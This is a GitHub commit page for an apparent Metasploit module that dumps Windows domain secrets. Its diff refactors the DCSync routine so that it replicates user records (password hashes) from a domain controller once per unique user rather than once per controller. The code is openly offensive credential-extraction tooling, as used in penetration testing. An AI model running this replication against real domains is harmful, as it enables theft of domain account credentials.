Skip to content

Commit 67c33fa

Browse files
committed
Fix bug: DCSync only once, rather than once per DC that exists in the domain
- Also only DCSync each user once (if they're specified multiple times in KRB_USERS) - Also be resilient to spaces in the comma-sepration
1 parent 1705203 commit 67c33fa

File tree

1 file changed

+23
-23
lines changed

1 file changed

+23
-23
lines changed

modules/auxiliary/gather/windows_secrets_dump.rb

Lines changed: 23 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -891,7 +891,7 @@ def dump_ntds_hashes
891891
)
892892
return
893893
end
894-
specific_users = datastore['KRB_USERS'].strip.split(',')
894+
specific_users = datastore['KRB_USERS'].strip.split(',').map { |s| s.strip }
895895

896896
if specific_users.empty?
897897
users = get_domain_users
@@ -903,6 +903,8 @@ def dump_ntds_hashes
903903
users = get_domain_users_by_name(specific_users)
904904
end
905905

906+
sids = Set.new(users.map {|sid_and_user| sid_and_user[0]})
907+
906908
dcerpc_client = connect_drs
907909
unless dcerpc_client
908910
print_error(
@@ -914,29 +916,27 @@ def dump_ntds_hashes
914916
ph_drs = dcerpc_client.drs_bind
915917
dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name)
916918
user_info = {}
917-
dc_infos.each do |dc_info|
918-
users.each do |user|
919-
sid = user[0]
920-
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
921-
crack_names.each do |crack_name|
922-
user_record = dcerpc_client.drs_get_nc_changes(
923-
ph_drs,
924-
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
925-
dsa_object_guid: dc_info.ntds_dsa_object_guid
926-
)
927-
user_info[sid] = parse_user_record(dcerpc_client, user_record)
928-
end
919+
dc_info = dc_infos[0]
920+
sids.each do |sid|
921+
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
922+
crack_names.each do |crack_name|
923+
user_record = dcerpc_client.drs_get_nc_changes(
924+
ph_drs,
925+
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
926+
dsa_object_guid: dc_info.ntds_dsa_object_guid
927+
)
928+
user_info[sid] = parse_user_record(dcerpc_client, user_record)
929+
end
929930

930-
groups = get_user_groups(sid)
931-
groups.each do |group|
932-
case group.name
933-
when 'BUILTIN\\Administrators'
934-
user_info[sid][:admin] = true
935-
when '(domain)\\Domain Admins'
936-
user_info[sid][:domain_admin] = true
937-
when '(domain)\\Enterprise Admins'
938-
user_info[sid][:enterprise_admin] = true
939-
end
931+
groups = get_user_groups(sid)
932+
groups.each do |group|
933+
case group.name
934+
when 'BUILTIN\\Administrators'
935+
user_info[sid][:admin] = true
936+
when '(domain)\\Domain Admins'
937+
user_info[sid][:domain_admin] = true
938+
when '(domain)\\Enterprise Admins'
939+
user_info[sid][:enterprise_admin] = true
940940
end
941941
end
942942
end

0 commit comments

Comments
 (0)